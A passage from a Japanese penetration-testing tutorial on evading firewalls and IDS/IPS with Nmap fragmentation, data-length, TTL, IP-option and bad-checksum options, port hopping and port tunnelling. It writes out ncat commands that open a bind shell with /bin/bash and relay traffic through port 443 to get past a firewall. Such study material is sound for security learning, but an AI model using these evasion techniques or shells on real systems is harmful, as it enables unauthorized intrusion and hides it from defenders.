送信元ポート番号はNmapの場合は-gオプションまたは--source-portオプションで設定可能。

1.3.3. フラグメンテーション、MTU、データ長による回避

パケットサイズを調整すると以下のことが望める。

  • パケットのフラグメント化
    • ファイアウォール、IDS/IPSがパケットを再構成しない場合、パケットは通過してしまう可能性が高い。通過したパケットはターゲットシステムが再構成する。
  • 特定のデータ長のパケットの送信

パケットの断片化

Nmapでは以下オプションでパケットのフラグメントが行える。

オプション説明
-f8Byteのサイズで断片化
-ff16Byteのサイズで断片化
--mtu [MTUサイズ(8の倍数)]指定したMTUで断片化

最大転送単位(MTU)は、特定のリンク層接続で通過できるパケットの最大サイズを示す。例えば、イーサネットのMTUは1500Byteとなり、イーサネット(リンク層)接続で送信できるIPパケットの最大サイズが1500Byteであることを意味する。

特定のデータ長のパケットの送信

パケットのサイズによりファイアウォールやIDS/IPSに検知・ブロックされてしまう場合は、NMapでは--data-length [値(8の倍数)]オプションで特定の長さを設定し、ポートスキャンの回避率を高めることができる。

# 64Byteの長さで送る場合
nmap -sS -Pn --data-length 64 -F [ターゲットIP]

1.3.4. ヘッダーフィールドの変更による回避

パケットのヘッダーフィールドの値を制御することでファイヤーウォールの回避が望める場合がある。具体的に変更する値は以下の通り。

  • パケットの寿命(TTL)の設定
  • 指定されたIPオプションでパケットを送信
  • 間違ったTCP / UDPチェックサムでパケットを送信

TTLの設定

TTLの変更はデフォルトのTTLではポートスキャン活動が露呈してしまう可能性がある場合に有効といえる。

Nmapでは--ttl [値]で変更できる。

IPオプションの設定

IPオプションフィールドではNmapの場合、--ip-options [HEX_STRING]で設定ができる。

特定のセキュリティシステムを回避するためにパケットが特定のルートを通るようにしたい場合、ルーズソースルーティング(L)と厳密なソースルーティング(R)が役立つ。

間違ったチェックサムの使用

システムによっては意図的に間違ったチェックサムを持つパケットを送信することでパケットを破棄しないものが存在する。そういった場合に有効打になりうる。

Nmapの場合は--badsumオプションを追加することで実現できる。

1.3.5. ポートホッピングによる回避

ポートホッピングはアプリケーションが接続を確立・維持できるようになるまで、あるポートから別のポートへと切り替える手法のこと。

一部の「正当な」アプリケーションは、ファイアウォールを回避するためにこの手法を使用している。

具体的にはファイアウォールでブロックされていない宛先ポートを見つけるまで、サーバーへの接続を試み続ければよい。ncat等でシェルを張る際にFWが設定されている場合は有効なポートで接続できるまでポートを変え続け思考すればいいことを示す。

1.3.6. ポートトンネルによる回避

ポートトンネリングはポートフォワーディングやポートマッピングとも呼ばれ、ある宛先ポートに送信されたパケットを別の宛先ポートに転送する仕組みのこと。

ファイアウォールの背後にサーバーがあり、外部からアクセスできない場合を考える。
この際にファイアウォールが特定のポートをブロックしていないことが判明したとすると、トラフィックを別のポート経由でトンネリングすることで、状況の改善を望める。

FWで保護されているNW配下に25ポートでListenしているSMTPサーバがあり、FWが外部からの25ポート接続をブロック/ドロップしている場合、外部からSMTPサーバーに接続できない。
この際FWが443ポートの許可をしている場合、これを利用してパケットをポート443に送信し、ファイアウォールを通過した後でポート25に転送することができる。
ターゲットサーバにバインドシェルを張る場合、ncat -lvnp 443 -c "ncat <ターゲットIP> 25"を前段サーバで張ることにより443ポート経由でターゲットサーバーに25ポートで接続を望める。

1.3.7. 非標準ポートの使用

Ncatコマンドではncat -lvnp [ポート番号] -e /bin/bashでシェルを張ることで、Bash シェルと対話できるようになる。
この際ncatを非標準ポートで張った場合FWを回避できる場合がある。